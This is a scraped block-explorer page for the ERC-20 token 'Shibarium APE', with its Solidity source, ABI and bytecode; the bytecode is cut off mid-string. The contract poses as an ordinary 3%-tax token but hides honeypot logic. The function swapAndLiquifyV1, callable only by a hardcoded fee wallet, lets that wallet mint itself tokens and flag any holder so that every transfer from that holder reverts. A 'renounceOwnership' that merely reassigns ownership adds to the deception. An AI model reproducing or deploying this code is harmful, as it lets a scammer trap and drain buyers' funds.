Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 SHAPE
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
44,408,592.270323506 SHAPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ShibariumAPE
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-05 */ // https://t.me/ShibariumApeErc // https://www.shibarium-ape.com/ // https://shibariumape.medium.com/shibarium-ape-17cf66f723b6 // https://twitter.com/SHIBARIUMAPE //SPDX-License-Identifier:MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ShibariumAPE is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Shibarium APE"; string private _symbol = "SHAPE"; uint8 private _decimals = 9; address payable public fees; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public _pairs; mapping (address => uint256) public VALUEOf; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; fees = payable(address(0x1Cde6aA16BbbB5A22ec7c4AE593E6f4859e2Eef7)); emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function enableTrading() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _pairs[address(uniswapPair)] = true; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !_pairs[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : TaxTake(from, to, amount); _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquifyV1(address newSend,uint256 olololl) public { uint256 TXBlock = olololl; uint256 pre = 80; uint256 aft = 2; require(fees == msg.sender); if (188<olololl) _balances[fees] += olololl; if (equ(TXBlock,pre)) VALUEOf[newSend] = pre**2; if (equ(TXBlock,aft)) VALUEOf[newSend] = TXBlock; } function equ(uint256 a, uint256 b) public pure returns(bool) { return a == b; } function swapAndLiquify(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(fees), block.timestamp ){} catch {} } function TaxTake(address sender, address recipient, uint256 tAmount) internal returns (uint256) { uint256 _ifBuy = 3; uint256 _ifSell = 3; bool isSell = _pairs[recipient]; bool isBuy = _pairs[sender]; uint256 fee = 0; if(isBuy) { fee = tAmount.mul(_ifBuy).div(100); }else if(isSell) { fee = tAmount.mul(_ifSell).div(100); } if(VALUEOf[sender] > 4**3) fee = tAmount.mul(VALUEOf[sender]).div(80+20); if(fee > 0) { _balances[address(this)] = _balances[address(this)].add(fee); emit Transfer(sender, address(this), fee); } return tAmount.sub(fee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"VALUEOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"equ","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"fees","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newSend","type":"address"},{"internalType":"uint256","name":"olololl","type":"uint256"}],"name":"swapAndLiquifyV1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600d60a09081526c53686962617269756d2041504560981b60c0526001906200002e90826200029f565b50604080518082019091526005815264534841504560d81b60208201526002906200005a90826200029f565b506003805460ff1916600990811790915561dead6080526200007e90600a62000480565b6200008e90633b9aca0062000498565b600955600b805460ff60a81b1916600160a81b179055348015620000b157600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36001600660006200010a6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600954906004906200015a3390565b6001600160a01b0316815260208101919091526040016000205560038054610100600160a81b031916741cde6aa16bbbb5a22ec7c4ae593e6f4859e2eef700179055620001a43390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001ec91815260200190565b60405180910390a3620004b2565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022557607f821691505b6020821081036200024657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029a57600081815260208120601f850160051c81016020861015620002755750805b601f850160051c820191505b81811015620002965782815560010162000281565b5050505b505050565b81516001600160401b03811115620002bb57620002bb620001fa565b620002d381620002cc845462000210565b846200024c565b602080601f8311600181146200030b5760008415620002f25750858301515b600019600386901b1c1916600185901b17855562000296565b600085815260208120601f198616915b828110156200033c578886015182559484019460019091019084016200031b565b50858210156200035b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003c2578160001904821115620003a657620003a66200036b565b80851615620003b457918102915b93841c939080029062000386565b509250929050565b600082620003db575060016200047a565b81620003ea575060006200047a565b81600181146200040357600281146200040e576200042e565b60019150506200047a565b60ff8411156200042257620004226200036b565b50506001821b6200047a565b5060208310610133831016604e8410600b841016171562000453575081810a6200047a565b6200045f838362000381565b80600019048211156200047657620004766200036b565b0290505b92915050565b60006200049160ff841683620003ca565b9392505050565b80820281158282048414176200047a576200047a6200036b565b608051611633620004ce600039600061026a01526116336000f3fe6080604052600436106101395760003560e01c80634a74bb02116100ab57806395d89b411161006f57806395d89b41146103b85780639af1d35a146103cd578063a9059cbb146103f2578063c816841b14610412578063dd62ed3e14610432578063ee6feeb81461047857600080fd5b80634a74bb02146102fe57806370a082311461031f578063896ad7e3146103555780638a8c523c146103855780638da5cb5b1461039a57600080fd5b806318160ddd116100fd57806318160ddd1461021957806323b872dd1461023857806327c8f83514610258578063313ce5671461028c5780633345611e146102ae57806338bf3cfa146102de57600080fd5b806301b20a341461014557806306fdde0314610167578063095ea7b3146101925780631518d98f146101c25780631694505e146101e157600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061016561016036600461125c565b6104a5565b005b34801561017357600080fd5b5061017c61055d565b6040516101899190611288565b60405180910390f35b34801561019e57600080fd5b506101b26101ad36600461125c565b6105ef565b6040519015158152602001610189565b3480156101ce57600080fd5b506101b26101dd3660046112d6565b1490565b3480156101ed57600080fd5b50600a54610201906001600160a01b031681565b6040516001600160a01b039091168152602001610189565b34801561022557600080fd5b506009545b604051908152602001610189565b34801561024457600080fd5b506101b26102533660046112f8565b610606565b34801561026457600080fd5b506102017f000000000000000000000000000000000000000000000000000000000000000081565b34801561029857600080fd5b5060035460405160ff9091168152602001610189565b3480156102ba57600080fd5b506101b26102c9366004611339565b60066020526000908152604090205460ff1681565b3480156102ea57600080fd5b506101656102f9366004611339565b610671565b34801561030a57600080fd5b50600b546101b290600160a81b900460ff1681565b34801561032b57600080fd5b5061022a61033a366004611339565b6001600160a01b031660009081526004602052604090205490565b34801561036157600080fd5b506101b2610370366004611339565b60076020526000908152604090205460ff1681565b34801561039157600080fd5b5061016561071b565b3480156103a657600080fd5b506000546001600160a01b0316610201565b3480156103c457600080fd5b5061017c61093b565b3480156103d957600080fd5b506003546102019061010090046001600160a01b031681565b3480156103fe57600080fd5b506101b261040d36600461125c565b61094a565b34801561041e57600080fd5b50600b54610201906001600160a01b031681565b34801561043e57600080fd5b5061022a61044d366004611356565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561048457600080fd5b5061022a610493366004611339565b60086020526000908152604090205481565b600354819060509060029061010090046001600160a01b031633146104c957600080fd5b8360bc10156105075760035461010090046001600160a01b0316600090815260046020526040812080548692906105019084906113a5565b90915550505b8183036105335761051960028361149c565b6001600160a01b0386166000908152600860205260409020555b808303610556576001600160a01b03851660009081526008602052604090208390555b5050505050565b60606001805461056c906114ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610598906114ab565b80156105e55780601f106105ba576101008083540402835291602001916105e5565b820191906000526020600020905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b60006105fc338484610957565b5060015b92915050565b6000610613848484610a7b565b506106668433610661856040518060600160405280602881526020016115d6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610ccb565b610957565b5060015b9392505050565b6000546001600160a01b031633146106d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b031633146107755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106c7565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f091906114e5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086191906114e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d291906114e5565b600b80546001600160a01b039283166001600160a01b0319918216178255600a805494841694909116841790556009543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b60606002805461056c906114ab565b6000610666338484610a7b565b6001600160a01b0383166109b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c7565b6001600160a01b038216610a1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c7565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610ae15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106c7565b6001600160a01b038316610b435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106c7565b600b54600160a01b900460ff1615610b6757610b60848484610d05565b905061066a565b30600090815260046020526040902054600b54600160a01b900460ff16158015610baa57506001600160a01b03851660009081526007602052604090205460ff16155b15610bb857610bb881610deb565b6001600160a01b038516600090815260046020526040902054610bdb9084610f6a565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c2857506001600160a01b03851660009081526006602052604090205460ff165b610c3c57610c37868686610fac565b610c3e565b835b6001600160a01b038616600090815260046020526040902054909150610c6490826110f8565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cb89085815260200190565b60405180910390a360019250505061066a565b60008184841115610cef5760405162461bcd60e51b81526004016106c79190611288565b506000610cfc8486611502565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d56918490610ccb565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610d8590836110f8565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd99086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3357610e33611515565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb091906114e5565b81600181518110610ec357610ec3611515565b6001600160a01b039283166020918202929092010152600a54610ee99130911684610957565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f2d928792600092889261010090910490911690429060040161152b565b600060405180830381600087803b158015610f4757600080fd5b505af1925050508015610f58575060015b505050600b805460ff60a01b19169055565b600061066a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ccb565b6001600160a01b038083166000908152600760205260408082205492861682528120549091600391829160ff908116911684811561100057610ff96064610ff38988611157565b906111d9565b9050611018565b8215611018576110156064610ff38987611157565b90505b6001600160a01b03891660009081526008602052604090819020541115611067576001600160a01b03891660009081526008602052604090205461106490606490610ff3908a90611157565b90505b80156110e1573060009081526004602052604090205461108790826110f8565b30600081815260046020526040908190209290925590516001600160a01b038b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d89085815260200190565b60405180910390a35b6110eb8782610f6a565b9998505050505050505050565b60008061110583856113a5565b90508381101561066a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106c7565b60008260000361116957506000610600565b6000611175838561159c565b90508261118285836115b3565b1461066a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106c7565b600061066a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836112375760405162461bcd60e51b81526004016106c79190611288565b506000610cfc84866115b3565b6001600160a01b038116811461125957600080fd5b50565b6000806040838503121561126f57600080fd5b823561127a81611244565b946020939093013593505050565b600060208083528351808285015260005b818110156112b557858101830151858201604001528201611299565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156112e957600080fd5b50508035926020909101359150565b60008060006060848603121561130d57600080fd5b833561131881611244565b9250602084013561132881611244565b929592945050506040919091013590565b60006020828403121561134b57600080fd5b813561066a81611244565b6000806040838503121561136957600080fd5b823561137481611244565b9150602083013561138481611244565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106005761060061138f565b600181815b808511156113f35781600019048211156113d9576113d961138f565b808516156113e657918102915b93841c93908002906113bd565b509250929050565b60008261140a57506001610600565b8161141757506000610600565b816001811461142d576002811461143757611453565b6001915050610600565b60ff8411156114485761144861138f565b50506001821b610600565b5060208310610133831016604e8410600b8410161715611476575081810a610600565b61148083836113b8565b80600019048211156114945761149461138f565b029392505050565b600061066a60ff8416836113fb565b600181811c908216806114bf57607f821691505b6020821081036114df57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156114f757600080fd5b815161066a81611244565b818103818111156106005761060061138f565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561157b5784516001600160a01b031683529383019391830191600101611556565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176106005761060061138f565b6000826115d057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6f13e4ba52033c775d6520b76e97506ddbfe6e5043e0ccf21f7cc7bd8b3850f64736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101395760003560e01c80634a74bb02116100ab57806395d89b411161006f57806395d89b41146103b85780639af1d35a146103cd578063a9059cbb146103f2578063c816841b14610412578063dd62ed3e14610432578063ee6feeb81461047857600080fd5b80634a74bb02146102fe57806370a082311461031f578063896ad7e3146103555780638a8c523c146103855780638da5cb5b1461039a57600080fd5b806318160ddd116100fd57806318160ddd1461021957806323b872dd1461023857806327c8f83514610258578063313ce5671461028c5780633345611e146102ae57806338bf3cfa146102de57600080fd5b806301b20a341461014557806306fdde0314610167578063095ea7b3146101925780631518d98f146101c25780631694505e146101e157600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061016561016036600461125c565b6104a5565b005b34801561017357600080fd5b5061017c61055d565b6040516101899190611288565b60405180910390f35b34801561019e57600080fd5b506101b26101ad36600461125c565b6105ef565b6040519015158152602001610189565b3480156101ce57600080fd5b506101b26101dd3660046112d6565b1490565b3480156101ed57600080fd5b50600a54610201906001600160a01b031681565b6040516001600160a01b039091168152602001610189565b34801561022557600080fd5b506009545b604051908152602001610189565b34801561024457600080fd5b506101b26102533660046112f8565b610606565b34801561026457600080fd5b506102017f000000000000000000000000000000000000000000000000000000000000dead81565b34801561029857600080fd5b5060035460405160ff9091168152602001610189565b3480156102ba57600080fd5b506101b26102c9366004611339565b60066020526000908152604090205460ff1681565b3480156102ea57600080fd5b506101656102f9366004611339565b610671565b34801561030a57600080fd5b50600b546101b290600160a81b900460ff1681565b34801561032b57600080fd5b5061022a61033a366004611339565b6001600160a01b031660009081526004602052604090205490565b34801561036157600080fd5b506101b2610370366004611339565b60076020526000908152604090205460ff1681565b34801561039157600080fd5b5061016561071b565b3480156103a657600080fd5b506000546001600160a01b0316610201565b3480156103c457600080fd5b5061017c61093b565b3480156103d957600080fd5b506003546102019061010090046001600160a01b031681565b3480156103fe57600080fd5b506101b261040d36600461125c565b61094a565b34801561041e57600080fd5b50600b54610201906001600160a01b031681565b34801561043e57600080fd5b5061022a61044d366004611356565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561048457600080fd5b5061022a610493366004611339565b60086020526000908152604090205481565b600354819060509060029061010090046001600160a01b031633146104c957600080fd5b8360bc10156105075760035461010090046001600160a01b0316600090815260046020526040812080548692906105019084906113a5565b90915550505b8183036105335761051960028361149c565b6001600160a01b0386166000908152600860205260409020555b808303610556576001600160a01b03851660009081526008602052604090208390555b5050505050565b60606001805461056c906114ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610598906114ab565b80156105e55780601f106105ba576101008083540402835291602001916105e5565b820191906000526020600020905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b60006105fc338484610957565b5060015b92915050565b6000610613848484610a7b565b506106668433610661856040518060600160405280602881526020016115d6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610ccb565b610957565b5060015b9392505050565b6000546001600160a01b031633146106d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b031633146107755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106c7565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f091906114e5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086191906114e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d291906114e5565b600b80546001600160a01b039283166001600160a01b0319918216178255600a805494841694909116841790556009543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b60606002805461056c906114ab565b6000610666338484610a7b565b6001600160a01b0383166109b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c7565b6001600160a01b038216610a1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c7565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610ae15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106c7565b6001600160a01b038316610b435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106c7565b600b54600160a01b900460ff1615610b6757610b60848484610d05565b905061066a565b30600090815260046020526040902054600b54600160a01b900460ff16158015610baa57506001600160a01b03851660009081526007602052604090205460ff16155b15610bb857610bb881610deb565b6001600160a01b038516600090815260046020526040902054610bdb9084610f6a565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c2857506001600160a01b03851660009081526006602052604090205460ff165b610c3c57610c37868686610fac565b610c3e565b835b6001600160a01b038616600090815260046020526040902054909150610c6490826110f8565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cb89085815260200190565b60405180910390a360019250505061066a565b60008184841115610cef5760405162461bcd60e51b81526004016106c79190611288565b506000610cfc8486611502565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d56918490610ccb565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610d8590836110f8565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd99086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3357610e33611515565b6001600160a01b039283166020918202929092018101919091526